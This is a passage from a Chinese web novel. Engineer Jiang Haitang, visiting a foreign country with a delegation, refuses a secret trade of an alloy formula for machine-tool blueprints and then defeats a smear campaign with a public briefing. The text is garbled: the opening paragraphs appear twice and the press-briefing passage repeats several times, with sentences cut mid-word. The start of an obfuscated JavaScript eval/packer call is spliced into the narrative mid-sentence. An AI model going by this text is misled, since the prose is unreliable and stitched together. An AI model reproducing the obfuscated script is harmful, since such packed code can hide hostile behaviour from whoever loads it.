不知道为什么,沃尔夫冈就是觉得,眼前这个年轻的东方女人能够帮到自己,或许在她只是简单的参观中就能指出问题的时候,他就已经相信眼前的人不一般了。 但还不等姜海棠说话,他突然警觉地说道:“这里不安全,明天来我安排人接你到我的实验室。” 姜海棠也是谨慎的人,立即意识到有问题,因此,她立即改变话题。 “关于今天的机床,我很有兴趣,我希望贵厂能够给我们提供一套设备……” 相当然的,关于购买机床这个话题,双方没有能够达成共识,最终,两个人不欢而散。 姜海棠从咖啡馆里气呼呼的离开。 回酒店的路上,姜海棠刻意绕了几条小巷,装作一副闲逛的样子,甚至,还买了几样小玩意儿,这才回到酒店。 姜海棠将今日与沃尔夫冈的谈话向周副部长汇报。 “海棠,不管什么时候,你的安全是最重要的,有人,才能有技术!”周副部长语重心长的对姜海棠说道。 虽然华国需要新技术,可新技术不能用人命填。 沃尔夫冈的私人实验室藏在城郊一栋老建筑里。 姜海棠刚进门,就被满墙的设计图纸震撼了,这才是真正的尖端技术,比工厂展示的先进得多。 师沃尔夫冈压低声音,“但我们被材料配方卡住了。不知道姜小姐在这方面能不能给我们提供一些支持?” 不知道为什么,沃尔夫冈就是觉得,眼前这个年轻的东方女人能够帮到自己,或许在她只是简单的参观中就能指出问题的时候,他就已经相信眼前的人不一般了。 但还不等姜海棠说话,他突然警觉地说道:“这里不安全,明天来我安排人接你到我的实验室。” 姜海棠也是谨慎的人,立即意识到有问题,因此,她立即改变话题。 “关于今天的机床,我很有兴趣,我希望贵厂能够给我们提供一套设备……” 相当然的,关于购买机床这个话题,双方没有能够达成共识,最终,两个人不欢而散。 姜海棠从咖啡馆里气呼呼的离开。 回酒店的路上,姜海棠刻意绕了几条小巷,装作一副闲逛的样子,甚至,还买了几样小玩意儿,这才回到酒店。 姜海棠将今日与沃尔夫冈的谈话向周副部长汇报。 “海棠,不管什么时候,你的安全是最重要的,有人,才能有技术!”周副部长语重心长的对姜海棠说道。 虽然华国需要新技术,可新技术不能用人命填。 沃尔夫冈的私人实验室藏在城郊一栋老建筑里。 姜海棠刚进门,就被满墙的设计图纸震撼了,这才是真正的尖端技术,比工厂展示的先进得多。 第241章 坚定拒绝 “美丽的姜小姐,我就直说了。沃尔夫冈关上门,很热情地说道:“我需要ZG-3合金的配方,作为交换…… 他拉开保险柜,取出一套微缩胶片,“这是KPM-75的全套设计图。 姜海棠心跳加速。 这正是国内急需的技术! 也是国外对华国封锁的技术,如果能够将这套微缩胶卷带回去,对于华国的发展,好处不可估量。 她迫切地想得到,但表面上她依然平静,“您为什么冒险? “我受够了汉斯之流把技术当勒索工具!沃尔夫冈激动地说,“真正的技术应该造福人类!而不是成为个人暴敛财物的工具。 姜海棠看着沃尔夫冈手中那卷象征着当前世界顶尖精密制造技术的微缩胶片,心脏在胸腔里剧烈地跳动。 KPM-75的全套设计图! 这不仅仅是图纸,更是打开华国高端制造业枷锁的钥匙,是无数工程师梦寐以求的珍宝。 有了它,国内的研究至少能少走五年弯路。 然而,沃尔夫冈的条件是ZG-3合金的配方,像一盆冰水浇在她滚烫的心头。 她强迫自己冷静下来,脸上维持着专业性的思索表情,没有立刻显露出震惊或拒绝。 大脑在飞速运转,分析着沃尔夫冈的真实意图和眼前的局势。 “沃尔夫冈先生,姜海棠的声音平稳,带着一丝恰到好处的困惑,“您对ZG-3合金的了解让我有些意外。据我所知,ZG-3是我国在特定领域应用的一种材料,其性能参数和具体配方……恐怕并非我的专业范围所能涉及,更不是我能决定是否交换的。 她巧妙地划清了界限,表明自己并非决策者,甚至,她本人都没有办法接触到相关资料。 沃尔夫冈脸上热切的笑容微微一僵,眼神闪烁了一下。 “姜小姐,请别误会。只是我们团队在研发新一代谐波减速器的柔性轴承时,被材料瓶颈卡住了整整两年!我们所有的理论计算和实验都指向,ZG-3的某些特性是解决这个难题的关键钥匙。 “我们不需要完整的配方,哪怕是一些关键参数、或者关于其冶炼工艺的某些方向性指导……只要能让我们突破这个瓶颈,这套KPM-75的图纸,就是您的了。他再次将微缩胶片向前推了推,语气带着一种近乎恳求的急切。 姜海棠心中雪亮。 沃尔夫冈并非完全不知道ZG-3的敏感性,只是技术人员的狂热和对突破的渴望压倒 了**上的谨慎。 他是在赌,赌她对顶尖技术的渴望。 赌她为了得到这份图纸,会不惜放出一些参数数据。 “我理解您对技术突破的迫切心情,沃尔夫冈先生。”姜海棠的语气变得严肃而诚恳。 沃尔夫冈嘴角弯起一抹笑容,他几乎能想到,下一步,姜海棠的口中就会说出同意的话。 虽然眼前这个年轻的华国女人说她不知道这些资料,但沃尔夫冈不相信,他的直觉告诉他,这个女人有他所需要的。 然而,姜海棠接下来的话,却让沃尔夫冈失望了! “作为一名技术人员,我深深地渴望看到最高精尖的技术。但是,ZG-3合金的相关信息,我无权知晓其细节,更无权进行任何形式的讨论或交易。这超出了技术交流的范畴,是原则问题。” 姜海棠的语调很轻,她微微摇头之后,轻且坚定地将沃尔夫冈推过来的微缩胶片推了回去,动作不容置疑。 “你真的要放弃这样的好机会吗?姜小姐,你可知道,如果这些胶片拿回华国,将能为你本人带来什么样的荣耀吗?你或许有可能成为华国当代人人敬仰的人!” 姜海棠心里冷笑,靠出**家才能获得的荣耀,是真荣耀吗? 那是耻辱,永远洗刷不了的耻辱。 “沃尔夫冈先生,真的很抱歉,在这个问题上,我无法提供任何帮助,您的提议,虽然遗憾,但我不能接受。” 实验室内的气氛瞬间降至冰点。 沃尔夫冈却还不想放弃,而是拿过两页材料说:“姜小姐,这是KPM-75的设计图的其中两张,你看到了,或许会改变主意。” 沃尔夫冈觉得,一定是姜海棠还不了解情况,如果了解了这套设备到底有多么先进,肯定会动心的。 但是,姜海棠只是轻轻地扫了一眼沃尔夫冈手中的图纸,并没有接过来。 她摇头说:“我做不到,沃尔夫冈先生。” 沃尔夫冈脸上的热情彻底褪去,取而代之的是失望、不甘,甚至隐隐有一丝被冒犯的愠怒。 他盯着姜海棠,似乎在判断她话语的真实性,又像是在衡量是否还有说服的余地。 片刻的沉默后,他收回了微缩胶片,语气冷淡下来。 “看来真正的技术交流,终究还是被无形的壁垒阻隔了。姜小姐,你很谨慎,也……很忠诚。” 姜海棠如何能听不出来沃尔夫冈到了这时候,还在企图PUA她。 她坦然迎着他的目光:“这 是对彼此国家利益的尊重,沃尔夫冈先生。感谢您今天的邀请和展示,让我大开眼界。我想,我该告辞了。” 她起身,礼貌但疏离地点点头。 沃尔夫冈没有挽留,只是默默地看着她收拾好自己的笔记本。 就在姜海棠准备转身离开时,他忽然又开口,声音低沉:“姜小姐,汉斯……他还没有放弃。他对你,对你们的代表团,怀有很深的敌意。停职调查并没有让他收敛,反而可能激怒了他。你破坏了他在集团内部的计划,也损害了他的利益和声誉。他一定会采取更激烈的手段,请务必小心。如果有需要帮助的,姜小姐可以找我。” 沃尔夫冈话里的意思,姜海棠能听明白。 但只可惜,沃尔夫冈想要的东西,姜海棠给不了,也不会给。 “谢谢您的提醒,沃尔夫冈先生,我们会注意安全的。”她再次道谢,然后离开了这间充满尖端技术却也暗藏风险的实验室。 汉斯固然不是什么好人,但沃尔夫冈也未必就是多么正义的人。 与此同时,实验室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我要让她,让整个华国代表团,在D国寸步难行!也要让她回到华国之后,依然无路可走。” 汉斯并不知道,姜海棠这次去参观实验室,并不是私下行动,而是早就向周副部长和大使馆报备过的。 姜海棠回到酒店,第一时间向周副部长汇报了实验室的全部经过,包括沃尔夫冈的交换提议和自己的严词拒绝,以及他最后的警告。 周副部长听完姜海棠的汇报之后,神情凝重:“海棠同志,你做得非常对!立场坚定,有理有节。” “D国,盯上了咱们的ZG-3,只怕不会这么容易放弃。”姜海棠不无忧虑的说道。 “ZG-3是国之重器,别说一套图纸,就是十套、一百套也不能换!沃尔夫冈是个有名的技术疯子,说不定,我饿了达到目标,还会做点儿什么。还有汉斯这条毒蛇,肯定不会善罢甘休。” 姜海棠点头:“汉斯吃了大亏,现在又被停职,肯定像条疯狗一样想咬人。我猜测,他抓不到实质把柄,最可能的就是在**上做文章,污名化我们,制造外交麻烦,甚至煽动D国国内的**情绪,给后续合作设置障碍。” “同时,也不排除会针对我个人做一些什么,毕竟,他对我的态度一直都是非常敌视的。” 姜海棠对于这种情况的出现,很是无奈,其实,她和汉斯,好像并没有得罪过汉斯,甚至,她好像都没有真正意义上和汉斯打过交道。 为什么汉斯就像是一条疯狗一样,一直都盯着自己呢? 第242章 光明正大 周副部长点头:“你说的是,海棠,这段时间,你务必要小心,能不外出的时候,还是尽量不要外出。” 别的倒是也罢了,周副部长是真的担心姜海棠会有危险。 仿佛是为了印证他们的推测,第二天清晨,酒店前台就收到了几份当天的晨报。 其中一份小报的头版赫然刊登着几张模糊但能辨认出是姜海棠进入那栋老建筑的照片,配以耸人听闻的标题:《技术交流的阴影?华国女工程师密会克虏伯核心人物!》 文章虽然没有直接指控技术交易,但用词极具暗示性,充满了“秘密地点”“长时间停留”、“敏感技术领域”“动机存疑”等字眼,引导读者往最坏的方面联想。 几乎在同一时间,代表团也接到了大使馆的紧急通知:D国安全部门和大使馆武官处都收到了匿名**和照片,对姜海棠与沃尔夫冈的私下会面表示“严重关切”,要求华国代表团做出解释。 同时,**中,还提及姜海棠本人可能会与沃尔夫冈达成某些合作。 话里的意思,再明确不过,如果不是大使馆和周副部长提前都知道姜海棠去见沃尔夫冈,只怕都要怀疑姜海棠了。 但就算他们不曾怀疑姜海棠,压力,还是如同无形的巨石,突然压在了代表团的每一个人身上。 原本因为姜海棠在克虏伯工厂的出色表现和施密特博士释放的善意而变得轻松的氛围,瞬间荡然无存。 姜海棠看着报纸上那张偷拍的照片,手指微微收紧。 她的眼神从最初的震惊和愤怒,迅速沉淀为一片冰湖般的冷静。 汉斯的伎俩很下作,但目的很明确,那就是用污名化逼迫代表团退缩,尤其是他们心里最危险的她,一定要远离D国的核心技术,彻底断绝华国利用这次交流活动获取先进技术的可能。 因为代表团发生这样的事,郑参赞也来到了他们下榻的酒店。 “周副部长,郑参赞,”姜海棠抬起头,声音清晰而坚定,“我相信清者自清。” 郑参赞点头:“我们都相信你是清白的,也知道我们这一次的交流都在允许的范围之内,可是,现在报纸上报道出来之后,许多不明真相的人会怀疑,甚至会抵制。” “郑参赞,会有什么样的结果?”姜海棠目光沉静地问。 “可能会对你展开调查,如果调查的过程中,有任何值得怀疑的地方,你会被驱逐出境。”郑参赞十分头疼。 “郑参赞,他们只有偷拍的见面照片,没有任何实质证 据。我愿意随时接受任何调查,向D国有关部门和大使馆说明情况。这次会面,纯粹是沃尔夫冈先生个人对某个技术难题的探讨邀请,我出于礼貌和对技术的尊重才前往,过程中严格遵守了交流纪律,没有谈论任何超出公开范畴的内容。” 姜海棠一点都不慌张,事实就是如此,虽然沃尔夫冈确实有些小计较,想要达成不合理的合作,但她拒绝了,而她觉得,沃尔夫冈本人应该也不会将当时的对话说出来。 那么她应该是安全的,毕竟这段时间,所有掌握的知识,她都是记在脑子里,而不是记在本子上。 “也是我们真的落后,如果我们能更加发达一些,更加强盛一些,我们在国外,也不至于被人这样防备着,更不至于受这些委屈。”周副部长狠狠地砸了一下桌子。 他实在是太愤怒了,但他虽然愤怒,可却又只能接受。 “周副部长,其实,汉斯这样的表现,也告诉我们,他们也在心虚。”姜海棠思索了一下,说道。 周副部长问:“这话怎么讲?” “我觉得,汉斯越是疯狂地反扑,越是证明我们在他们的眼中已经具有威慑,而且,他们可能还怀疑,我们这一次能掌握他们的技术,并且带回国。” “我觉得,我们绝不能因此退缩,反而应该更加积极地、公开地推进既定的交流项目。只要我们行得正,站得直,他的污蔑最终只会反噬他自己!” 周副部长和郑参赞对视一眼,都从对方眼中看到了赞许和决心。 眼前的年轻姑娘,在巨大的压力下展现出的沉稳、智慧和勇气,远超他们的预期。 “说得好!”周副部长连连点头。“他们想用这种下三烂的手段逼退我们?做梦!” 郑参赞想了想,说道:“海棠同志,准备一份详细的、关于昨日会面纯属技术探讨的书面说明。” “好的,郑参赞。”姜海棠立即应下。 “我代表大使馆,主动约见D国外交部和安全部门的官员,我们光明正大地去说明情况,澄清事实!” “同时,我们要摆出强硬的态度,通知施密特博士,要求的后续交流行程,照常进行,一个都不取消!不仅要参加,还要堂堂正正、理直气壮地去!” 姜海棠同志一个年轻姑娘,都能如此沉稳,他们这些人有什么道理不更加沉稳? 作为大使馆的工作人员,必须维护代表团的利益,做到据理力争。 风暴既然已然来临,就只能选择了迎风破浪,而非掉头避让。 汉斯精心策划的**风暴,如同阴冷的潮水,瞬间席卷了D国部分媒体和某些**圈层。 那份小报的报道像一颗投入水潭的石子,激起的涟漪迅速扩散。 几家立场偏右的媒体开始跟风炒作,质疑华国代表团的真实目的,影射姜海棠的行为可能涉及“技术情报收集”,甚至直接引用匿名“安全部门消息人士”的话,暗示调查正在。 D国外交部和安全部门基于收到的匿名举报,也正式向华国大使馆递交了措辞谨慎但暗含压力的外交照会,要求华国代表团就姜海棠与沃尔夫冈的私下会面做出“清晰、令人信服的解释”,并“确保后续交流活动严格遵守双方协议框架”。 代表团下榻的酒店外,出现一些陌生面孔的蹲守,气氛骤然紧张。 然而,华国代表团的反应,却出乎了汉斯和那些推波助澜者的预料。 他们没有龟缩防守,更没有惊慌失措,而是选择了最直接、最光明正大的方式,那就是正面回应风暴。 在郑参赞的安排下,一场特殊的记者说明会在大使馆会议厅举行。 面对挤满大厅的各国记者,以及特意受邀前来的D国外交部、安全部门代表,周副部长亲自出席,态度坦荡而自信。 “各位记者朋友,各位先生女士,”周副部长的声音沉稳有力,“近日,关于我代表团成员姜海棠同志与克虏伯工厂沃尔夫冈先生私下会面的报道和猜测,造成了一些误解和困扰。今天,我们在此郑重澄清事实,以正视听。” 他用眼神示意姜海棠。 姜海棠站起身,面对无数的镜头和审视的目光,她显得异常平静,眼神清澈而坚定。 “我本人与沃尔夫冈先生的会面,纯粹是基于共同的技术兴趣。” 姜海棠的声音清晰,话语流利,只是简单地陈述事实,确保在场的每一个人都能听懂。 “沃尔夫冈先生是一位令人尊敬的技术专家,他邀请我参观他的私人工作室,是出于对技术交流的热情,我们就一些技术方面的问题进行了深入的探讨,但整个会面过程,我们讨论的内容仅限于公开文献可查的基础理论和技术原理,不涉及任何敏感技术细节,更不存在所谓的‘交易’或‘窃取’。” 她停顿了一下,目光扫过那些充满质疑的脸孔,继续说道:“我理解大家对此事的关注。为了证明我的陈述,我愿意就我们讨论的具体技术问题进行公开说明。” “比如,沃尔夫冈先生提出的材料在交变应力下的微观结构演变与疲劳寿命的非线 性建模问题,这在贵国也并不是不能讨论的,毕竟,贵国斯图加特大学材料力学系格哈特教授于今年刚发表的论文高周疲劳下金属晶界滑移的定量分析模型中就能找到依据……” 姜海棠侃侃而谈,她引经据典,精确地指出了相关理论模型的名称、提出者、发表期刊和时间,甚至提到了具体实验数据的来源。 她的陈述逻辑严密,证据指向清晰的公开文献,态度不卑不亢。 当有记者试图用尖锐的问题打断时,她总能迅速而准确地抓住问题的核心,用扎实的专业知识化解,始终将话题牢牢锁定在公开、纯粹的技术探讨范畴。 许多原本带着猎奇心态的记者,被姜海棠展现出的惊人专业深度和坦荡态度所折服。 一些相对客观的媒体,已经开始调整报道方向,着重描述姜海棠在说明会上展现的技术素养和对答如流。 更重要的是,D国外交部和安全部门的代表全程参与了说明会。 他们目睹了姜海棠的表现,也仔细审阅了代表团提交的详细书面说明其中同样引用了大量公开文献作为佐证)。 虽然出于程序,他们表示仍需“核实某些细节”,但态度明显缓和了许多,那种隐含的咄咄逼人消失了。 毕竟,姜海棠提到的这些信息并非机密,只能证明了姜海棠是一个乐于学习的人。 虽然,沃尔夫冈并没有有在场,但姜海棠相信,只要她今天说的这些话公布出去,沃尔夫冈肯定会顺着自己的意思说下去,毕竟,他也不希望自己的荣誉受损。 果然,在姜海棠公开的说明了当日会面的情况之后,也有记者采访了沃尔夫冈,而沃尔夫冈所说的,与姜海棠说的差不多,彼此印证了双方的会面是正常的会面,是本着良好交流开展的会面。 性建模问题,这在贵国也并不是不能讨论的,毕竟,贵国斯图加特大学材料力学系格哈特教授于今年刚发表的论文高周疲劳下金属晶界滑移的定量分析模型中就能找到依据……” 姜海棠侃侃而谈,她引经据典,精确地指出了相关理论模型的名称、提出者、发表期刊和时间,甚至提到了具体实验数据的来源。 她的陈述逻辑严密,证据指向清晰的公开文献,态度不卑不亢。 当有记者试图用尖锐的问题打断时,她总能迅速而准确地抓住问题的核心,用扎实的专业知识化解,始终将话题牢牢锁定在公开、纯粹的技术探讨范畴。 许多原本带着猎奇心态的记者,被姜海棠展现出的惊人专业深度和坦荡态度所折服。 一些相对客观的媒体,已经开始调整报道方向,着重描述姜海棠在说明会上展现的技术素养和对答如流。 更重要的是,D国外交部和安全部门的代表全程参与了说明会。 他们目睹了姜海棠的表现,也仔细审阅了代表团提交的详细书面说明其中同样引用了大量公开文献作为佐证)。 虽然出于程序,他们表示仍需“核实某些细节”,但态度明显缓和了许多,那种隐含的咄咄逼人消失了。 毕竟,姜海棠提到的这些信息并非机密,只能证明了姜海棠是一个乐于学习的人。 虽然,沃尔夫冈并没有有在场,但姜海棠相信,只要她今天说的这些话公布出去,沃尔夫冈肯定会顺着自己的意思说下去,毕竟,他也不希望自己的荣誉受损。 果然,在姜海棠公开的说明了当日会面的情况之后,也有记者采访了沃尔夫冈,而沃尔夫冈所说的,与姜海棠说的差不多,彼此印证了双方的会面是正常的会面,是本着良好交流开展的会面。 性建模问题,这在贵国也并不是不能讨论的,毕竟,贵国斯图加特大学材料力学系格哈特教授于今年刚发表的论文高周疲劳下金属晶界滑移的定量分析模型中就能找到依据……” 姜海棠侃侃而谈,她引经据典,精确地指出了相关理论模型的名称、提出者、发表期刊和时间,甚至提到了具体实验数据的来源。 她的陈述逻辑严密,证据指向清晰的公开文献,态度不卑不亢。 当有记者试图用尖锐的问题打断时,她总能迅速而准确地抓住问题的核心,用扎实的专业知识化解,始终将话题牢牢锁定在公开、纯粹的技术探讨范畴。 许多原本带着猎奇心态的记者,被姜海棠展现出的惊人专业深度和坦荡态度所折服。 一些相对客观的媒体,已经开始调整报道方向,着重描述姜海棠在说明会上展现的技术素养和对答如流。 更重要的是,D国外交部和安全部门的代表全程参与了说明会。 他们目睹了姜海棠的表现,也仔细审阅了代表团提交 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姜海棠侃侃而谈,她引经据典,精确地指出了相关理论模型的名称、提出者、发表期刊和时间,甚至提到了具体实验数据的来源。 她的陈述逻辑严密,证据指向清晰的公开文献,态度不卑不亢。 当有记者试图用尖锐的问题打断时,她总能迅速而准确地抓住问题的核心,用扎实的专业知识化解,始终将话题牢牢锁定在公开、纯粹的技术探讨范畴。 许多原本带着猎奇心态的记者,被姜海棠展现出的惊人专业深度和坦荡态度所折服。 一些相对客观的媒体,已经开始调整报道方向,着重描述姜海棠在说明会上展现的技术素养和对答如流。 更重要的是,D国外交部和安全部门的代表全程参与了说明会。 他们目睹了姜海棠的表现,也仔细审阅了代表团提交的详细书面说明其中同样引用了大量公开文献作为佐证)。 虽然出于程序,他们表示仍需“核实某些细节”,但态度明显缓和了许多,那种隐含的咄咄逼人消失了。 毕竟,姜海棠提到的这些信息并非机密,只能证明了姜海棠是一个乐于学习的人。 虽然,沃尔夫冈并没有有在场,但姜海棠相信,只要她今天说的这些话公布出去,沃尔夫冈肯定会顺着自己的意思说下去,毕竟,他也不希望自己的荣誉受损。 果然,在姜海棠公开的说明了当日会面的情况之后,也有记者采访了沃尔夫冈,而沃尔夫冈所说的,与姜海棠说的差不多,彼此印证了双方的会面是正常的会面,是本着良好交流开展的会面。 性建模问题,这在贵国也并不是不能讨论的,毕竟,贵国斯图加特大学材料力学系格哈特教授于今年刚发表的论文高周疲劳下金属晶界滑移的定量分析模型中就能找到依据……” 姜海棠侃侃而谈,她引经据典,精确地指出了相关理论模型的名称、提出者、发表期刊和时间,甚至提到了具体实验数据的来源。 她的陈述逻辑严密,证据指向清晰的公开文献,态度不卑不亢。 当有记者试图用尖锐的问题打断时,她总能迅速而准确地抓住问题的核心,用扎实的专业知识化解,始终将话题牢牢锁定在公开、纯粹的技术探讨范畴。 许多原本带着猎奇心态的记者,被姜海棠展现出的惊人专业深度和坦荡态度所折服。 一些相对客观的媒体,已经开始调整报道方向,着重描述姜海棠在说明会上展现的技术素养和对答如流。 更重要的是,D国外交部和安全部门的代表全程参与了说明会。 他们目睹了姜海棠的表现,也仔细审阅了代表团提交的详细书面说明其中同样引用了大量公开文献作为佐证)。 虽然出于程序,他们表示仍需“核实某些细节”,但态度明显缓和了许多,那种隐含的咄咄逼人消失了。 毕竟,姜海棠提到的这些信息并非机密,只能证明了姜海棠是一个乐于学习的人。 虽然,沃尔夫冈并没有有在场,但姜海棠相信,只要她今天说的这些话公布出去,沃尔夫冈肯定会顺着自己的意思说下去,毕竟,他也不希望自己的荣誉受损。 果然,在姜海棠公开的说明了当日会面的情况之后,也有记者采访了沃尔夫冈,而沃尔夫冈所说的,与姜海棠说的差不多,彼此印证了双方的会面是正常的会面,是本着良好交流开展的会面。 性建模问题,这在贵国也并不是不能讨论的,毕竟,贵国斯图加特大学材料力学系格哈特教授于今年刚发表的论文高周疲劳下金属晶界滑移的定量分析模型中就能找到依据……” 姜海棠侃侃而谈,她引经据典,精确地指出了相关理论模型的名称、提出者、发表期刊和时间,甚至提到了具体实验数据的来源。 她的陈述逻辑严密,证据指向清晰的公开文献,态度不卑不亢。 当有记者试图用尖锐的问题打断时,她总能迅速而准确地抓住问题的核心,用扎实的专业知识化解,始终将话题牢牢锁定在公开、纯粹的技术探讨范畴。 许多原本带着猎奇心态的记者,被姜海棠展现出的惊人专业深度和坦荡态度所折服。 一些相对客观的媒体,已经开始调整报道方向,着重描述姜海棠在说明会上展现的技术素养和对答如流。 更重要的是,D国外交部和安全部门的代表全程参与了说明会。 他们目睹了姜海棠的表现,也仔细审阅了代表团提交的详细书面说明其中同样引用了大量公开文献作为佐证)。 虽然出于程序,他们表示仍需“核实某些细节”,但态度明显缓和了许多,那种隐含的咄咄逼人消失了。 毕竟,姜海棠提到的这些信息并非机密,只能证明了姜海棠是一个乐于学习的人。 虽然,沃尔夫冈并没有有在场,但姜海棠相信,只要她今天说的这些话公布出去,沃尔夫冈肯定会顺着自己的意思说下去,毕竟,他也不希望自己的荣誉受损。 果然,在姜海棠公开的说明了当日会面的情况之后,也有记者采访了沃尔夫冈,而沃尔夫冈所说的,与姜海棠说的差不多,彼此印证了双方的会面是正常的会面,是本着良好交流开展的会面。 第243章 坦然面对 汉斯的后招并未停止。 几天后,当华国代表团按计划前往D国国家标准化研究院进行交流时,一群举着标语、明显是被临时组织起来的人堵在了研究院门口。 标语上写着“停止技术**!”、“保护D国工业机密!”、“华国人滚回去!”等煽动性口号。 现场还有一些小报记者在拍照。 这正是汉斯期望看到的场面,利用被煽动的**为代表团制造难堪,阻止交流进行,坐实“不受欢迎”的形象,最终逼迫D国官方叫停合作。 代表团的车被堵在路上。 周副部长面色凝重,郑参赞立即通过车载电话联系大使馆和D国接待方交涉。 就在这时,姜海棠透过车窗,看到了人群外围一个熟悉的身影——沃尔夫冈!他显然也得知了消息,匆匆赶来,脸上带着愤怒和焦虑。 姜海棠心中一动,一个大胆的念头闪过。 她低声对周副部长说:“周团长,让我试试。他们针对的是我,或许我出去说几句,能化解僵局。” “不行!太危险了!”周副部长断然拒绝。 这些人,虽然看起来像是自发组织的,可实际上,背后有人操作,万一他们有什么暴力行为怎么办? “他们打的是**牌,污名化我们。我们越回避,他们越嚣张。既然他们要‘**’,我们就给他们看看什么是真正的**。”姜海棠的眼神异常坚定,“而且,沃尔夫冈先生也在外面,我相信他会帮忙。” 周副部长看着姜海棠,又看了看车外群情激奋的人群,沉吟片刻,最终沉重地点了点头:“注意安全!郑参赞,麻烦您这边安排一下,要做好应急准备!” 车门打开,姜海棠独自一人走了下来。 她的出现,让喧闹的人群瞬间安静了一下,所有的目光和镜头都聚焦在她身上。 她没有理会那些挑衅的标语和辱骂,而是径直走向外围的沃尔夫冈。 “沃尔夫冈先生!”姜海棠的声音清晰地穿透了短暂的寂静,“看来,我们上次纯粹的技术探讨,被别有用心的人曲解和利用了。” 沃尔夫冈立刻明白了姜海棠的意图,他本就对汉斯的手段深恶痛绝,此刻更是恼怒到不行。 他大步上前,站到姜海棠身边,面向人群和记者,用洪亮的声音喊话。 “安静!请大家安静!我是克虏伯工厂的总工程师沃尔夫冈!我以我的名誉和职业生涯担保,这位姜海棠小姐与我上次的会面,完全是为了探讨一个困扰我很久 的、关于柔性轴承材料的基础理论问题!” “她展现出的专业素养和对技术的纯粹追求,令我钦佩!我们讨论的所有内容,都基于公开的学术成果!所谓的‘技术**’根本就是无耻的谎言!” “我以我们克虏伯工厂的荣誉向你们保证,从来没有技术**,从来没有里勾外连。这都是某些人为了阻挠正常技术交流而编造的卑劣谣言!” 沃尔夫冈在D国工业界颇有声望,克虏伯工厂又是大家所相信的,此时沃尔夫冈如此激烈的辟谣,效果是**性的。 人群出现了明显的骚动和议论,很多被临时拉来的人露出了茫然的表情。 记者们的镜头疯狂地对准了并肩站立的姜海棠和沃尔夫冈。 很多人开始怀疑,如果真的有利益交换,如果华国真的让这个女人剽窃技术,这时候,她会站出来吗?或者说,她敢站出来吗? 姜海棠适时地接过话头,将话题进一步升华。 她面向人群,声音带着一种穿透人心的力量。 “各位朋友,技术是人类共同的财富,进步需要开放的合作与交流!我们华国代表团抱着最真诚的学习态度来到贵国,我们尊重所有的知识产权,遵守一切规则!” “我们的目标,是通过学习先进经验,推动我们国家的发展,最终也能为世界的科技进步贡献一份力量!阻挠这种基于公开、透明、尊重的交流,就是在阻挠人类智慧的共同进步!这难道就是你们想要的吗?” 她的话语诚恳而富有感染力,将一场被煽动的**,瞬间拉高到了关于技术进步与人类福祉的层面。 许多举着标语的人,手不知不觉地放了下来。 是啊,这种技术层面的交流,为什么他们要阻止呢? 克虏伯工厂不是傻子,沃尔夫冈也不是傻子,如果被剽窃了技术,他们的利益会受到损害,他们会帮着伤害他们的人吗? 现场的记者更是敏锐地捕捉到了这个戏剧性的反转,立即开始疯狂地拍照。 就在这时,研究院的安保人员和D国接待方的官员也及时赶到,开始疏导人群。 在沃尔夫冈的声望背书和姜海棠充满力量的呼吁下,这场闹剧般的**就这样被迅速瓦解了。 看着人群逐渐散去,沃尔夫冈松了一口气,转向姜海棠,眼中充满了复杂的情绪。 “姜小姐,你……希望我们以后还有合作和交流的机会。” 虽然他的目的没有能够达成,但是,沃尔夫冈觉得,姜海棠在未来会是一个值得 合作的伙伴。 “一定会有的,沃尔夫冈先生。”姜海棠真诚地说。 回到车上,周副部长重重地拍了拍姜海棠的肩膀,什么也没说,但眼神里充满了赞许。 郑参赞也向她竖起了大拇指。 这次风波,在姜海棠冷静而智慧的应对,以及沃尔夫冈意想不到的“反水”下,被成功化解,甚至产生了意想不到的正面效果。 姜海棠的勇敢和真诚,以及华国代表团坦荡磊落的形象,通过媒体传播了出去,反而赢得了一些D国民众和业界人士的尊重。 也不知道是不是汉斯放弃了找茬,总之,接下来的行程顺利了许多。 几天之后,交流会结束,最后一天的下午,代表团给大家放假,允许大家各自外出采购一些物品。 姜海棠站在宾馆窗前,望着外面熙熙攘攘的街道,明天他们就将踏上归国的飞机,一走这么长时间,她是真的很想念陆良辰和小桃子。 忙起来的时候,顾不得思念,但现在闲下来了,思念立即萦绕心头,挥之不去。 也不知道他们父女二人现在过得怎么样? 应该也是和自己一样思念着彼此吧? 陆良辰忙起来的时候,也不知道小桃子有没有难过。 这次回去,一定要好好的陪一段时间小桃子,让小家伙感受到她这个妈妈的爱。 “海棠同志,发什么呆呢?”身后传来王子华的声音。 姜海棠回头看过去,王子华正站在门外看着她。 “代表团说今天自由活动,好些人都出去了,咱们也去市中心转转?给家里带点东西。” 王子华是个很活泼的年轻人,在工程机械方面,家学渊源,这一段时间,和姜海棠的交流比较多,两个人也算是结下了**友情。 姜海棠转过身,露出一个浅笑:“正有此意,我们一起去吧。” 出国一趟,总要给家里人带点东西回去。 “那赶紧的,别磨蹭了。”王子华已经穿好了外套,手里拿着代表团发放的少量外汇券和市区地图。 两人走出宾馆,搭乘电车前往市中心,很快,二人就到了商场,商场附近一派繁华景象。 “听说最近治安不太好,咱们买点东西早点回去,天黑了怕不安全。”王子华压低声音叮嘱姜海棠。 姜海棠莞尔一笑点点头,王子华这是担心自己到了商场挑花眼浪费时间呢。 不过,D国的治安确实没有国内好,加上他们是东方面孔,在这里更加显眼,小心些 终归没有错。 “你说得对,我们小心点就是,买完东西就回去。” 他们来的这座商场是一座五层楼的宏伟建筑,大理石台阶上人来人往。 推开旋转门,里面琳琅满目的商品让两人一时有些眼花缭乱。 “我去三楼看看手表,你呢?”姜海棠问道。 她想着给爷爷买一块手表回去。 “我去二楼看看衣服。一小时后在大门口集合?”王子华想着一个小时时间,应该差不多了。 “好。”姜海棠答应下来。 二人分开行动。 姜海棠乘电梯上到三楼,手表专柜前几位西装革履的商人正在挑选商品。 其中一位身材高大的中年男子引起了她的注意,那人金发碧眼,穿着考究的深灰色西装,正在与售货员交谈。 “这款百达翡丽有钢带的吗?”男子问道,声音低沉有力。 “很抱歉,施耐德先生,目前只有皮带的现货。”售货员恭敬地回答。 从售货员的态度,姜海棠能感觉出来,眼前这个男人身份绝对不一般。 不过,姜海棠并没有打算与无关的人多打交道,她只是不动声色地站在一旁,等待服务。 或许是因为姜海棠的穿着过于朴素,又或者是姜海棠是陌生的东方面孔,并没有人过来接待她。 姜海棠也不气恼,只是慢慢浏览着一块块手表,在心里盘算着,自己应该买一块什么价位。 